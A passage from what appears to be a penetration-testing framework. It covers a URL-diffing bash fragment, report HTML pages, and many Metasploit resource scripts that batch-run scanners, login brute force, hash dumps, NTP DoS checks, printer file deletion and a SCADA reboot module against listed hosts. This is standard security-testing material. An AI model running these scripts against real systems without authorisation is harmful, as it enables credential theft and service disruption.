"$HDIR/$URL-$HASH-$VERSION"; then 82 | echo 83 | echo -e "${RED}[!] Failed to download $URL${NC}" 84 | echo 85 | exit 1 86 | fi 87 | done < "$FILE" 88 | 89 | echo 90 | echo "$MEDIUM" 91 | else 92 | VERSION=$((VERSION - 1)) 93 | fi 94 | 95 | if [ "$VERSION" -gt 1 ]; then 96 | echo 97 | echo "Versions:" 98 | 99 | for ((i=1; i<=VERSION; i++)); do 100 | echo "$i - $(ts2date "$(cat "$HDIR/$i")")" 101 | done 102 | 103 | echo 104 | echo -n "Base version: " 105 | read -r A 106 | echo -n "Compare with: " 107 | read -r B 108 | 109 | [ -z "$A" ] && A="1" 110 | [ -z "$B" ] && B="$VERSION" 111 | 112 | # Check if selected versions are valid 113 | if [ "$A" -gt "$VERSION" ] || [ "$B" -gt "$VERSION" ]; then 114 | echo 115 | echo -e "${RED}[!] Selected versions exceed the available versions.${NC}" 116 | echo 117 | exit 1 118 | fi 119 | 120 | while IFS= read -r URL; do 121 | echo 122 | echo "$MEDIUM" 123 | echo 124 | echo -e "\e[1;34m$URL\e[0m" 125 | HASH=$(echo -n "$URL" | sha256sum | tr -d " -") 126 | diff "$HDIR/$URL-$HASH-$A" "$HDIR/$URL-$HASH-$B" | grep ' 100 | 101 | 102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/hosts.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

Domain Hosts

97 |
98 |
99 | 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/maps.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

DNS Maps

97 |
98 |
99 | _ 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/pdf.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

Files PDF

97 |
98 |
99 | 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/registered-domains.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

DNS Registered Domains

97 |
98 |
99 | 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/txt.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

Files Text

97 |
98 |
99 | 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /report/pages/xls.htm: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Reporting Framework 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 91 | 92 | 93 |
94 | 95 |
96 |

Files Excel

97 |
98 |
99 | 100 |
101 |
102 | 103 | 104 | 105 | -------------------------------------------------------------------------------- /resource/1099-rmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1099 4 | 5 | use auxiliary/scanner/misc/java_rmi_server 6 | run 7 | 8 | use auxiliary/scanner/misc/java_jmx_server 9 | run 10 | -------------------------------------------------------------------------------- /resource/110-pop3.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 110 4 | 5 | use auxiliary/scanner/pop3/pop3_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/111-rpc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 111 4 | 5 | use auxiliary/scanner/misc/sunrpc_portmapper 6 | run 7 | 8 | use auxiliary/scanner/nfs/nfsmount 9 | run 10 | -------------------------------------------------------------------------------- /resource/1158-oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1158 4 | 5 | use auxiliary/scanner/oracle/emc_sid 6 | run 7 | 8 | use auxiliary/scanner/oracle/spy_sid 9 | run 10 | -------------------------------------------------------------------------------- /resource/123-udp-ntp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 123 4 | 5 | use auxiliary/scanner/ntp/ntp_monlist 6 | run 7 | 8 | use auxiliary/scanner/ntp/ntp_nak_to_the_future 9 | run 10 | 11 | use auxiliary/scanner/ntp/ntp_peer_list_dos 12 | run 13 | 14 | use auxiliary/scanner/ntp/ntp_peer_list_sum_dos 15 | run 16 | 17 | use auxiliary/scanner/ntp/ntp_readvar 18 | run 19 | 20 | use auxiliary/scanner/ntp/ntp_req_nonce_dos 21 | run 22 | 23 | use auxiliary/scanner/ntp/ntp_reslist_dos 24 | run 25 | 26 | use auxiliary/scanner/ntp/ntp_unsettrap_dos 27 | run 28 | -------------------------------------------------------------------------------- /resource/13364-rosewill.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 13364 4 | 5 | use auxiliary/scanner/misc/rosewill_rxs3211_passwords 6 | run 7 | -------------------------------------------------------------------------------- /resource/135-dcerpc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 135 4 | 5 | use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor 6 | run 7 | -------------------------------------------------------------------------------- /resource/137-udp-netbios.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 137 4 | 5 | use auxiliary/scanner/netbios/nbname 6 | run 7 | -------------------------------------------------------------------------------- /resource/1414-ibm-mq.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1414 4 | 5 | use auxiliary/scanner/misc/ibm_mq_enum 6 | run 7 | -------------------------------------------------------------------------------- /resource/143-imap.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 143 4 | 5 | use auxiliary/scanner/imap/imap_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/1433-mssql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1433 4 | 5 | use scanner/mssql/mssql_ping 6 | run 7 | 8 | use scanner/mssql/mssql_login 9 | set PASS-FILE /usr/share/wordlists/fasttrack.txt 10 | run 11 | 12 | use scanner/mssql/mssql_hashdump 13 | run 14 | 15 | use scanner/mssql/mssql_schemadump 16 | run 17 | -------------------------------------------------------------------------------- /resource/1521-oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1521 4 | 5 | use auxiliary/scanner/oracle/tnslsnr_version 6 | run 7 | 8 | use auxiliary/scanner/oracle/oracle_hashdump 9 | run 10 | 11 | use auxiliary/scanner/oracle/oracle_login 12 | run 13 | 14 | use auxiliary/scanner/oracle/sid_brute 15 | run 16 | 17 | use auxiliary/scanner/oracle/sid_enum 18 | run 19 | 20 | use auxiliary/scanner/oracle/tnspoison_checker 21 | run 22 | -------------------------------------------------------------------------------- /resource/1604-udp-citrix.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1604 4 | 5 | use gather/citrix_published_applications 6 | run 7 | 8 | use gather/citrix_published_bruteforce 9 | run 10 | -------------------------------------------------------------------------------- /resource/161-udp-snmp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 161 4 | 5 | use auxiliary/scanner/misc/oki_scanner 6 | run 7 | 8 | use auxiliary/scanner/snmp/aix_version 9 | run 10 | 11 | use auxiliary/scanner/snmp/arris_dg950 12 | run 13 | 14 | use auxiliary/scanner/snmp/brocade_enumhash 15 | run 16 | 17 | use auxiliary/scanner/snmp/cisco_config_tftp 18 | run 19 | 20 | use auxiliary/scanner/snmp/cisco_upload_file 21 | echo "Hello world!" > /tmp/test.txt 22 | set SOURCE /tmp/test.txt 23 | run 24 | 25 | use auxiliary/scanner/snmp/cnpilot_r_snmp_loot 26 | run 27 | 28 | use auxiliary/scanner/snmp/epmp1000_snmp_loot 29 | run 30 | 31 | use auxiliary/scanner/snmp/netopia_enum 32 | run 33 | 34 | use auxiliary/scanner/snmp/sbg6580_enum 35 | run 36 | 37 | use auxiliary/scanner/snmp/snmp_enum 38 | run 39 | 40 | use auxiliary/scanner/snmp/snmp_enumshares 41 | run 42 | 43 | use auxiliary/scanner/snmp/snmp_enumusers 44 | run 45 | 46 | use auxiliary/scanner/snmp/snmp_login 47 | run 48 | 49 | use auxiliary/scanner/snmp/ubee_ddw3611 50 | run 51 | 52 | use auxiliary/scanner/snmp/xerox_workcentre_enumusers 53 | run 54 | -------------------------------------------------------------------------------- /resource/17185-udp-vxworks.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 17185 4 | 5 | use auxiliary/scanner/vxworks/wdbrpc_version 6 | run 7 | 8 | use auxiliary/scanner/vxworks/wdbrpc_bootline 9 | run 10 | -------------------------------------------------------------------------------- /resource/1720-h323.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1720 4 | 5 | use auxiliary/scanner/h323/h323_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/19-chargen.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 19 4 | 5 | use auxiliary/scanner/chargen/chargen_probe 6 | run 7 | -------------------------------------------------------------------------------- /resource/1900-udp-upnp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 1900 4 | 5 | use auxiliary/scanner/upnp/ssdp_amp 6 | run 7 | 8 | use auxiliary/scanner/upnp/ssdp_msearch 9 | run 10 | -------------------------------------------------------------------------------- /resource/20256-unitronics.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 20256 4 | 5 | use auxiliary/scanner/scada/pcomclient 6 | run 7 | -------------------------------------------------------------------------------- /resource/2049-nfs.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 2049 4 | 5 | use auxiliary/scanner/nfs/nfsmount 6 | run 7 | -------------------------------------------------------------------------------- /resource/21-ftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 21 4 | 5 | use auxiliary/scanner/ftp/ftp_version 6 | run 7 | 8 | use auxiliary/scanner/ftp/anonymous 9 | run 10 | 11 | use auxiliary/scanner/ftp/bison_ftp_traversal 12 | run 13 | 14 | use auxiliary/scanner/ftp/colorado_ftp_traversal 15 | run 16 | 17 | use auxiliary/scanner/ftp/easy_file_sharing_ftp 18 | run 19 | 20 | use auxiliary/scanner/ftp/konica_ftp_traversal 21 | run 22 | 23 | use auxiliary/scanner/ftp/pcman_ftp_traversal 24 | run 25 | 26 | use auxiliary/scanner/ftp/titanftp_xcrc_traversal 27 | run 28 | -------------------------------------------------------------------------------- /resource/22-ssh.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 22 4 | 5 | use auxiliary/scanner/ssh/ssh_version 6 | run 7 | 8 | use auxiliary/scanner/ssh/detect_kippo 9 | run 10 | 11 | use auxiliary/scanner/ssh/eaton_xpert_backdoor 12 | run 13 | 14 | use auxiliary/scanner/ssh/fortinet_backdoor 15 | run 16 | 17 | use auxiliary/scanner/ssh/juniper_backdoor 18 | run 19 | 20 | use auxiliary/scanner/ssh/libssh_auth_bypass 21 | run 22 | -------------------------------------------------------------------------------- /resource/23-telnet.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 23 4 | 5 | use auxiliary/scanner/telnet/telnet_version 6 | run 7 | 8 | use auxiliary/scanner/telnet/telnet_encrypt_overflow 9 | run 10 | 11 | use auxiliary/scanner/telnet/telnet_ruggedcom 12 | run 13 | -------------------------------------------------------------------------------- /resource/2362-udp-scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 2362 4 | 5 | use auxiliary/scanner/scada/digi_addp_reboot 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_addp_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/25-smtp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 25 4 | 5 | use auxiliary/scanner/smtp/smtp_version 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_enum 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_ntlm_domain 12 | run 13 | 14 | use auxiliary/scanner/smtp/smtp_relay 15 | run 16 | -------------------------------------------------------------------------------- /resource/28784-scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 28784 4 | 5 | use auxiliary/scanner/scada/koyo_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/3000-emc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3000 4 | 5 | use auxiliary/admin/emc/alphastor_devicemanager 6 | run 7 | -------------------------------------------------------------------------------- /resource/3050-borland.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3050 4 | 5 | use auxiliary/scanner/misc/ib_service_mgr_info 6 | run 7 | -------------------------------------------------------------------------------- /resource/30718-telnet.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 30718 4 | 5 | use auxiliary/scanner/telnet/lantronix_telnet_password 6 | run 7 | -------------------------------------------------------------------------------- /resource/3306-mysql.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3306 4 | 5 | use auxiliary/scanner/mysql/mysql_version 6 | run 7 | 8 | use scanner/mysql/mysql_authbypass_hashdump 9 | run 10 | -------------------------------------------------------------------------------- /resource/3310-clamav.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3310 4 | 5 | use auxiliary/scanner/misc/clamav_control 6 | run 7 | -------------------------------------------------------------------------------- /resource/3389-rdp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3389 4 | 5 | use auxiliary/scanner/rdp/cve_2019_0708_bluekeep 6 | run 7 | 8 | use auxiliary/scanner/rdp/ms12_020_check 9 | run 10 | 11 | use auxiliary/scanner/rdp/rdp_scanner 12 | run 13 | -------------------------------------------------------------------------------- /resource/3500-emc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 3500 4 | 5 | use auxiliary/admin/emc/alphastor_librarymanager 6 | run 7 | -------------------------------------------------------------------------------- /resource/37777-dahua-dvr.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 37777 4 | 5 | use auxiliary/scanner/misc/dahua_dvr_auth_bypass 6 | run 7 | -------------------------------------------------------------------------------- /resource/407-udp-motorola.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 407 4 | 5 | use auxiliary/scanner/motorola/timbuktu_udp 6 | run 7 | -------------------------------------------------------------------------------- /resource/443-vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 443 4 | 5 | use auxiliary/scanner/vmware/esx_fingerprint 6 | run 7 | -------------------------------------------------------------------------------- /resource/445-smb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 445 4 | 5 | use auxiliary/scanner/dcerpc/petitpotam 6 | run 7 | 8 | use auxiliary/scanner/smb/pipe_auditor 9 | run 10 | 11 | use auxiliary/scanner/smb/pipe_dcerpc_auditor 12 | run 13 | 14 | use auxiliary/scanner/smb/psexec_loggedin_users 15 | run 16 | 17 | use auxiliary/scanner/smb/smb_enum_gpp 18 | run 19 | 20 | use auxiliary/scanner/smb/smb_enumshares 21 | run 22 | 23 | use auxiliary/scanner/smb/smb_enumusers 24 | run 25 | 26 | use auxiliary/scanner/smb/smb_enumusers_domain 27 | run 28 | 29 | use auxiliary/scanner/smb/smb_login 30 | run 31 | 32 | use auxiliary/scanner/smb/smb_lookupsid 33 | set MaxRID 1025 34 | run 35 | 36 | use auxiliary/scanner/smb/smb_ms17_010 37 | run 38 | 39 | use auxiliary/scanner/smb/smb_uninit_cred 40 | run 41 | 42 | use auxiliary/scanner/smb/smb_version 43 | run 44 | -------------------------------------------------------------------------------- /resource/465-smtp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 465 4 | 5 | use auxiliary/scanner/smtp/smtp_enum 6 | run 7 | 8 | use auxiliary/scanner/smtp/smtp_ntlm_domain 9 | run 10 | 11 | use auxiliary/scanner/smtp/smtp_relay 12 | run 13 | -------------------------------------------------------------------------------- /resource/46824-scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 46824 4 | 5 | use auxiliary/scanner/scada/sielco_winlog_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /resource/4786-cisco-smart-install.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 4786 4 | 5 | use auxiliary/scanner/misc/cisco_smart_install 6 | run 7 | -------------------------------------------------------------------------------- /resource/4800-udp-moxa.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 4800 4 | 5 | use auxiliary/scanner/scada/moxa_discover 6 | run 7 | -------------------------------------------------------------------------------- /resource/5000-satel.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5000 4 | 5 | use auxiliary/scanner/telnet/satel_cmd_exec 6 | run 7 | -------------------------------------------------------------------------------- /resource/50000-db2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 50000 4 | 5 | use auxiliary/scanner/db2/db2_version 6 | run 7 | 8 | use auxiliary/scanner/db2/db2_auth 9 | run 10 | -------------------------------------------------------------------------------- /resource/502-scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 502 4 | 5 | use auxiliary/scanner/scada/modbusclient 6 | run 7 | 8 | use auxiliary/scanner/scada/modbusdetect 9 | run 10 | 11 | use auxiliary/scanner/scada/modbus_banner_grabbing 12 | run 13 | 14 | use auxiliary/scanner/scada/modbus_findunitid 15 | run 16 | -------------------------------------------------------------------------------- /resource/5040-dcerpc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5040 4 | 5 | use auxiliary/scanner/dcerpc/windows_deployment_services 6 | run 7 | -------------------------------------------------------------------------------- /resource/5060-sip.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator_tcp 6 | run 7 | 8 | use auxiliary/scanner/sip/options_tcp 9 | run 10 | -------------------------------------------------------------------------------- /resource/5060-udp-sip.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5060 4 | 5 | use auxiliary/scanner/sip/enumerator 6 | run 7 | 8 | use auxiliary/scanner/sip/options 9 | run 10 | -------------------------------------------------------------------------------- /resource/512-rexec.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 512 4 | 5 | use auxiliary/scanner/rservices/rexec_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/513-rlogin.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 513 4 | 5 | use auxiliary/scanner/rservices/rlogin_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/514-rshell.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 514 4 | 5 | use auxiliary/scanner/rservices/rsh_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/523-udp-db2.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 523 4 | 5 | use auxiliary/scanner/db2/discovery 6 | run 7 | -------------------------------------------------------------------------------- /resource/5432-postgres.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5432 4 | 5 | use auxiliary/scanner/postgres/postgres_version 6 | run 7 | 8 | use auxiliary/scanner/postgres/postgres_login 9 | run 10 | 11 | use auxiliary/scanner/postgres/postgres_hashdump 12 | run 13 | 14 | use auxiliary/scanner/postgres/postgres_dbname_flag_injection 15 | run 16 | 17 | use auxiliary/scanner/postgres/postgres_schemadump 18 | run 19 | -------------------------------------------------------------------------------- /resource/548-afp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 548 4 | 5 | use auxiliary/scanner/afp/afp_server_info 6 | run 7 | -------------------------------------------------------------------------------- /resource/5560-oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5560 4 | 5 | use auxiliary/scanner/oracle/isqlplus_login 6 | run 7 | 8 | use auxiliary/scanner/oracle/isqlplus_sidbrute 9 | run 10 | -------------------------------------------------------------------------------- /resource/5631-pcanywhere.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5631 4 | 5 | use auxiliary/scanner/pcanywhere/pcanywhere_tcp 6 | run 7 | -------------------------------------------------------------------------------- /resource/5632-pcanywhere.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5632 4 | 5 | use auxiliary/scanner/pcanywhere/pcanywhere_udp 6 | run 7 | -------------------------------------------------------------------------------- /resource/5900-vnc.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5900 4 | 5 | use auxiliary/scanner/vnc/ard_root_pw 6 | run 7 | 8 | use auxiliary/scanner/vnc/vnc_login 9 | run 10 | 11 | use auxiliary/scanner/vnc/vnc_none_auth 12 | run 13 | -------------------------------------------------------------------------------- /resource/5920-cctv.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5920 4 | 5 | use auxiliary/scanner/misc/cctv_dvr_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/5984-couchdb.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5984 4 | 5 | use auxiliary/scanner/couchdb/couchdb_login 6 | run 7 | -------------------------------------------------------------------------------- /resource/5985-winrm.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 5985 4 | 5 | use auxiliary/scanner/winrm/winrm_auth_methods 6 | run 7 | -------------------------------------------------------------------------------- /resource/6000-5-x11.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | 4 | use auxiliary/scanner/x11/open_x11 5 | set RPORT 6000 6 | run 7 | 8 | use auxiliary/scanner/x11/open_x11 9 | set RPORT 6001 10 | run 11 | 12 | use auxiliary/scanner/x11/open_x11 13 | set RPORT 6002 14 | run 15 | 16 | use auxiliary/scanner/x11/open_x11 17 | set RPORT 6003 18 | run 19 | 20 | use auxiliary/scanner/x11/open_x11 21 | set RPORT 6004 22 | run 23 | 24 | use auxiliary/scanner/x11/open_x11 25 | set RPORT 6005 26 | run 27 | -------------------------------------------------------------------------------- /resource/623-udp-ipmi.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 623 4 | 5 | use auxiliary/scanner/ipmi/ipmi_cipher_zero 6 | run 7 | 8 | use auxiliary/scanner/ipmi/ipmi_version 9 | run 10 | 11 | use auxiliary/scanner/ipmi/ipmi_dumphashes 12 | run 13 | -------------------------------------------------------------------------------- /resource/6379-redis.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 6379 4 | 5 | auxiliary/scanner/redis/redis_server 6 | run 7 | -------------------------------------------------------------------------------- /resource/69-tftp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 69 4 | 5 | use auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp 6 | run 7 | 8 | use auxiliary/scanner/tftp/netdecision_tftp 9 | run 10 | -------------------------------------------------------------------------------- /resource/771-scada.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 771 4 | 5 | use auxiliary/scanner/scada/digi_realport_serialport_scan 6 | run 7 | 8 | use auxiliary/scanner/scada/digi_realport_version 9 | run 10 | -------------------------------------------------------------------------------- /resource/7777-backdoor.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 7777 4 | 5 | use auxiliary/scanner/backdoor/energizer_duo_detect 6 | run 7 | -------------------------------------------------------------------------------- /resource/79-finger.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 79 4 | 5 | use auxiliary/scanner/finger/finger_users 6 | run 7 | -------------------------------------------------------------------------------- /resource/8000-canon.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8000 4 | 5 | use auxiliary/scanner/printer/canon_iradv_pwd_extract 6 | run 7 | -------------------------------------------------------------------------------- /resource/8080-oracle.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/oracle/xdb_sid_brute 6 | run 7 | 8 | use auxiliary/scanner/oracle/xdb_sid 9 | run 10 | -------------------------------------------------------------------------------- /resource/8080-tomcat.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8080 4 | 5 | use auxiliary/scanner/http/tomcat_enum 6 | run 7 | 8 | use auxiliary/scanner/http/tomcat_mgr_login 9 | run 10 | -------------------------------------------------------------------------------- /resource/8222-vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8222 4 | 5 | use auxiliary/scanner/vmware/vmware_server_dir_trav 6 | run 7 | -------------------------------------------------------------------------------- /resource/831-easycafe.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 831 4 | 5 | use auxiliary/scanner/misc/easycafe_server_fileaccess 6 | run 7 | -------------------------------------------------------------------------------- /resource/8400-adobe.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8400 4 | 5 | use auxiliary/scanner/http/adobe_xml_inject 6 | run 7 | -------------------------------------------------------------------------------- /resource/8834-nessus.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 8834 4 | 5 | use auxiliary/scanner/nessus/nessus_xmlrpc_ping 6 | run 7 | -------------------------------------------------------------------------------- /resource/9000-sharp.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9000 4 | 5 | use auxiliary/scanner/misc/raysharp_dvr_passwords 6 | run 7 | -------------------------------------------------------------------------------- /resource/902-vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 902 4 | 5 | use auxiliary/scanner/vmware/vmauthd_version 6 | run 7 | -------------------------------------------------------------------------------- /resource/9084-vmware.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9084 4 | 5 | use auxiliary/scanner/vmware/vmware_update_manager_traversal 6 | run 7 | -------------------------------------------------------------------------------- /resource/9100-printers.rc: -------------------------------------------------------------------------------- 1 | setg RHOSTS file: 2 | setg THREADS 255 3 | setg RPORT 9100 4 | 5 | use auxiliary/scanner/printer/printer_version_info 6 | run 7 | 8 | use auxiliary/scanner/printer/printer_delete_file 9 | run 10 | 11 | use auxiliary/scanner/printer/printer_download_file 12 | run 13 | 14 | use auxiliary/scanner/printer/printer_upload_file 15 | run 16 | 17 | use auxiliary/scanner/printer/printer_env_vars 18 | run 19 | 20 | use 